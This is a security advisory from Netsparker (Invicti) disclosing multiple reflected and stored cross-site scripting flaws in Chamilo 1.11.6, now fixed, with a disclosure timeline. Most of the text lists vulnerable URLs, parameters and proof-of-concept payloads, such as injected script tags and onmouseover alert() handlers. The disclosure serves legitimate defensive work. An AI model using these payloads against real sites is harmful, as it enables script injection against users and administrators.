Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6
Affected Software: Chamilo
Affected Versions: 1.11.6
Homepage: https://chamilo.org/en/
Vulnerability:  Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-027

Technical Details

Reflected XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/courses/3/index.php?'"--></style></scRipt><scRipt>alert(0x000791)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000791)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_courses_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_sessions_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/dashboard_add_users_to_user.php?'"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=<scRipt>alert(0x01C783)</scRipt>&submit=&course=3&session=3&teacher=3
Parameter Name: until
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C783)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=<scRipt>alert(0x01C746)</scRipt>&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: from
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C746)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange='+alert(0x01C03C)+'&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: daterange
Parameter Type: GET
Attack Pattern: '+alert(0x01C03C)+'

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links=&pageCurrent=1&pageLength=12&search_term=x'" onmouseover=alert(9) x=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: search_term
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9) x=

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/calendar/agenda_js.php??=undefined&title=&content=</textarea><scRipt>alert(0x00E00A)</scRipt>&_qf__form=
Parameter Name: content
Parameter Type: GET
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x00E00A)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php?'"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php
Parameter Name: description
Parameter Type: POST
Attack Pattern: </textarea><scRipt>alert(0x01D19F)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/configure_homepage.php?language='" onmouseover=alert(0x01A144)
Parameter Name: language
Parameter Type: GET
Attack Pattern: '"+onmouseover=alert(0x01A144)+

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/languages.php/'onmouseover='alert(0x003EF6)
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'onmouseover='alert(0x003EF6)

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00760F)
Parameter Name: action
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00760F)

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links='" onmouseover=alert(0x00105A) &pageCurrent=1&pageLength=12&search_term=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: hidden_links
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00105A)

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00030C) &category_code=ALL&hidden_links=http://www.example.com&pageCurrent=1&pageLength=12&search_term=3&search_course=1&sec_token=c5d7298897afeed24b512e25e7cd1047
Parameter Name: action
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00030C)

Stored XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/user_portal.php
Injection URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/course_info/infocours.php?cidReq=1"onmouseover="alert(0x018024)
Parameter Name: title
Parameter Type: POST
Attack Pattern: 1" onmouseover="alert(0x018024)

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

9th July 2018 – First Contact
28th November 2018 – Vendor Fixed
4th December 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.